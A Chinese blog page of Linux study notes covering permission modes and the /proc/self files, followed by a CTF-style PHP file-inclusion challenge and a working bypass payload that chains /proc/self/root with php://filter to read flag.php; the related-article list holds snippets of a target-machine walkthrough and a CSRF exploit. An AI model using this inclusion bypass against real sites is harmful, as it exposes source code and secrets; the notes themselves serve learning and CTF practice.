linux基础知识

一、Linux权限详解

\bullet Linux的文件权限有以下设定:

    Linux下文件的权限类型一般包括读,写,执行。对应字母为 r、w、x。
    Linux下权限的属组有 拥有者 、群组 、其它组 三种。每个文件都可以针对这三个属组(粒度),设置不同的rwx(读写执行)权限。

    -rw------- (600)      只有拥有者有读写权限。
    -rw-r--r-- (644)      只有拥有者有读写权限;而属组用户和其他用户只有读权限。
    -rwx------ (700)     只有拥有者有读、写、执行权限。
    -rwxr-xr-x (755)    拥有者有读、写、执行权限;而属组用户和其他用户只有读、执行权限。
    -rwx--x--x (711)    拥有者有读、写、执行权限;而属组用户和其他用户只有执行权限。
    -rw-rw-rw- (666)   所有用户都有文件读、写权限。
    -rwxrwxrwx (777)  所有用户都有读、写、执行权限。
    r-- = 100
    -w- = 010
    --x = 001
    --- = 000

二、Linux的/proc/self/学习 

一些以数字命名的目录,他们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的PID号为目录名,他们是读取进程信息的接口。而self目录则是读取进程本身的信息接口,是一个link

1.cmdline

cmdline 文件存储着启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息。可以通过查看cmdline目录获取启动指定进程的完整命令

2.cwd

cwd 文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录

3.exe

exe 是一个指向启动当前进程的可执行文件(完整路径)的符号链接。通过exe文件我们可以获得指定进程的可执行文件的完整路径

可见PID为1083的进程的运行目录为/var/lib/gdm3 

4.environ

environ文件存储着当前进程的环境变量列表,彼此间用空字符(NULL)隔开,变量用大写字母表示,其值用小写字母表示。可以通过查看environ目录来获取指定进程的环境变量信息

5.fd

fd是一个目录,里面包含着当前进程打开的每一个文件的描述符(file descriptor)差不多就是路径啦,这些文件描述符是指向实际文件的一个符号连接,即每个通过这个进程打开的文件都会显示在这里。所以我们可以通过fd目录的文件获取进程,从而打开每个文件的路径以及文件内容

 查看指定进程打开的某个文件的内容。加上那个数字即可

这个fd比较重要,因为在Linux系统中,如果一个程序用 open() 打开了一个文件,但是最终没有关闭它,即使从外部(如:os.remove(SECRET_FILE))删除这个文件之后,在/proc这个进程的 pid目录下的fd文件描述符 目录下 还是会有这个文件的文件描述符,通过这个文件描述符我们即可以得到被删除的文件的内容 

6.self

/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接

<?php
error_reporting(0);

include 'flag.php';

if(!isset($_GET['file'])) {
    header('Location:/index.php?file=');
} else {
    $file = $_GET['file'];

    if (!preg_match('/\.\.|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
        include_once $file;
    } else {
        die('error.');
    }
}

 

突破include_once,读取当前目录下的flag.php

?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/145453.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

bulldog靶机复现

注&#xff1a;个人笔记&#xff0c;有点简陋&#xff0c;仅供参考。 准备&#xff1a;把kali和靶机设置为同一网段&#xff08;NAT&#xff09; 信息搜集 主机扫描 nmap -sP -T4 10.4.7.0/24 扫描出靶机IP为&#xff1a;10.4.7.134 扫描端口、服务 nmap -A -T4 -p- 10.4.…

VRRP(虚拟路由器冗余协议)标准协议工作机制与优势介绍

VRRP标准协议 文章目录 VRRP标准协议简介VRRP标准协议基本概念VRRP标准协议工作机制主备选举主备倒换非抢占模式抢占模式 VRRP标准协议技术优势VRRP典型组网单备份组主备备份多备份组负载分担 推荐阅读 VRRP标准协议简介 VRRP&#xff08;Virtual Router Redundancy Protocol…

怎么阅读芯片源代码(rtl)

part one 主要的原则。 一个rtl可以是这样的&#xff1a; 经常大家习惯于算法和数据结构。对于设计的部分&#xff0c;落实不一定多。 另外一个rtl也可以是这样的&#xff1a; 所以从不同的层面来讲&#xff0c;一个Rtl有不同的表述。 首先大概把所有的部分浏览一遍&#x…

碳交易机制下考虑需求响应的综合能源系统优化运行(附带Matlab程序)

碳交易机制下考虑需求响应的综合能源系统优化运行&#xff08;附带Matlab程序&#xff09; 仿真平台&#xff1a;MATLABCPLEX 使用的是yalmipcplex求解器完成求解 资源地址&#xff1a; 碳交易机制下考虑需求响应的综合能源系统优化运行&#xff08;附带Matlab程序&#xff09…

CSRF 漏洞实战

CMS创建新用户 方法&#xff1a;攻击者可以利用 XSS 触发 CSRF 攻击。因为&#xff0c;可以利用 JS 发送 HTTP 请求。经过研究受害网站的业务流程&#xff0c;可以构造如下代码&#xff1a; 代码&#xff1a; <script> xmlhttp new XMLHttpRequest(); xmlhttp.open(&qu…

安装DevEco Studio时,遇到的ohpm报错(解决)

如上图所示&#xff0c;我试了网上的各种办法&#xff0c;包括官网的文档&#xff0c;运行init.bat也不行。 接下来我说一下我的办法&#xff1a; 我从官网下载安装包后&#xff0c;将bin文件添加在了环境变量里&#xff08;最终安装的位置&#xff0c;但是因为他会自己下载所…

【运维必看】2023年常见运维面试题汇总,助你拿下offer!

IT运维面试问题总结-基础服务、磁盘管理、虚拟平台&#xff01; 基础服务—— 1、简述Linux中常见的系统服务&#xff0c;其作用分别是&#xff1f; 常见的系统服务及其作用有&#xff1a; ●NTP/Chrony&#xff1a;用于时钟同步&#xff1b; ●DHCP&#xff1a;动态主机配…

MySQL(16):变量、流程控制与游标

变量 在MySQL数据库的存储过程和函数中&#xff0c;可以使用变量来存储查询或计算的中间结果数据&#xff0c;或者输出最终的结果数据。 在 MySQL 数据库中&#xff0c;变量分为 系统变量 以及 用户自定义变量 。 系统变量 变量由系统定义&#xff0c;不是用户定义&#xff…

软件工程分析报告04详细设计说明书——基于Paddle的肝脏CT影像分割

基于Paddle的肝脏CT影像分割系统的详细设计说明书 一、引言 本文档是基于Paddle的肝脏CT影像分割系统的详细设计说明书。本文档旨在对系统的设计、实现以及测试等方面进行详细的阐述&#xff0c;以便于开发人员进行开发和测试工作。 二、概述 肝脏CT影像分割系统是一种医疗影像…

Learning reliable modal weight with transformer for robust RGBT tracking

论文&#xff1a;《Learning reliable modal weight with transformer for robust RGBT tracking》 针对问题&#xff1a;局部线性匹配容易丢失语义信息 解决方法&#xff1a;为了增强特征表示和深化语义特征&#xff0c;分别设计了一种基于改进的Resnet-50的模态权值分配策略…

MATLAB中Filter Designer的使用以及XILINX Coefficient(.coe)File的导出

文章目录 Filter Designer的打开滤波器参数设置生成matlab代码生成XILINX Coefficient(.COE) File实际浮点数的导出官方使用教程 Filter Designer的打开 打开Filter Designer&#xff1a; 方法一&#xff1a;命令行中输入Filter Designer&#xff0c;再回车打开。 方法二&…

漏洞-任意账号注册

一漏洞介绍 1.未验证邮箱/手机号 情景&#xff1a;应用为了方便用户记录用户名&#xff0c;使用邮箱和手机号作为用户名&#xff08;因此很多应用在注册的时候就要求用户填写&#xff0c;多数时候都会给用户发送激活信息&#xff0c;激活后才能登录&#xff09; 缺陷&#xff…

配置DHCP服务器

概述 DHCP(Dynamic Hast Configuration Protocal)就是动态主机配置协议&#xff0c;可以自动配置主机的IP地址、子网掩码、网关及DNS等TCP/IP信息。以DHCP可以有效地降低客户端IP地址配置的复杂度和网络的管理成本。如果路由器能够转发DHCP请求&#xff0c;只需要在一个子网中…

振南技术干货集:深入浅出的Bootloader(4)

注解目录 1、烧录方式的更新迭代 1.1 古老的烧录方式 (怀旧一下&#xff0c;单片机高压烧录器。) 1.2 ISP 与ICP 烧录方式 (还记得当年我们玩过的 AT89S51?) 1.3 更方便的 ISP 烧录方式 1.3.1串口 ISP &#xff08;是 STC 单片机成就了我们&#xff0c;还是我们成就了…

Kubernetes介绍以及Kubernetes快速部署

Kubernetes介绍以及Kubernetes快速部署 文章目录 Kubernetes介绍以及Kubernetes快速部署1.Kubernetes介绍&#xff1a;1.1.Kubernetes简介1.2. Kubernetes应用部署方式演变1.3.Kubernetes功能1.4.Kubernetes工作原理1.5.工作流程1.6.优缺点 2.Kubernetes环境部署2.1.环境说明2.…

EMC-4641C运动控制器固件升级

EMC-4641C运动控制器固件升级 更新前查看运动控制器固件版本 点击打开ESMTPTest_X64R.exe程序 点击搜索&#xff0c;程序自动选择IP为192.168.0.135的运动控制器&#xff08;实际操作时候可能会因为现场情况&#xff0c;IP会有细微不同&#xff09; 点击Connest 等待几秒后在…

将Soildorks模型导入PreScan

首先将Soildworks模型导入到SketchUP中&#xff0c;导入方法如下&#xff1a; 在Soildworks中将模型另存为IFC 2x3 模型 在选项中将单位改成米 在SketchUP中文件选择导入 ifc 文件即可 然后在SketchUP中定义坐标轴 SketchUP中红色的轴为X&#xff0c;绿色的轴为Y&#xff0c;蓝…

一个车厢号码识别算法(2005年的老程序----ccc)

一个车厢号码识别算法&#xff08;2005年的老程序----ccc&#xff09; 2023-09-18 ccc 程序的识别效果 对图中的车厢号码部分用上下两条线限定分为&#xff0c;然后进行识别。 从上面的识别效果可以看出&#xff0c;识别算法具有一定的鲁棒性&#xff0c;能够适应车厢号码的各…

打印字符(C++)

系列文章目录 进阶的卡莎C++_睡觉觉觉得的博客-CSDN博客数1的个数_睡觉觉觉得的博客-CSDN博客双精度浮点数的输入输出_睡觉觉觉得的博客-CSDN博客足球联赛积分_睡觉觉觉得的博客-CSDN博客大减价(一级)_睡觉觉觉得的博客-CSDN博客小写字母的判断_睡觉觉觉得的博客-CSDN博客纸币(…

开启学习新时代,电大搜题助您实现梦想!

亲爱的读者朋友们&#xff0c;当您拥有追求知识的渴望&#xff0c;秉持着对成功的执着追求时&#xff0c;浙江开放大学&#xff08;广播电视大学&#xff09;诞生了——它向您开启了一扇通向知识殿堂的大门。而今&#xff0c;我们荣幸地向您推荐一款既简便又高效的学习利器——…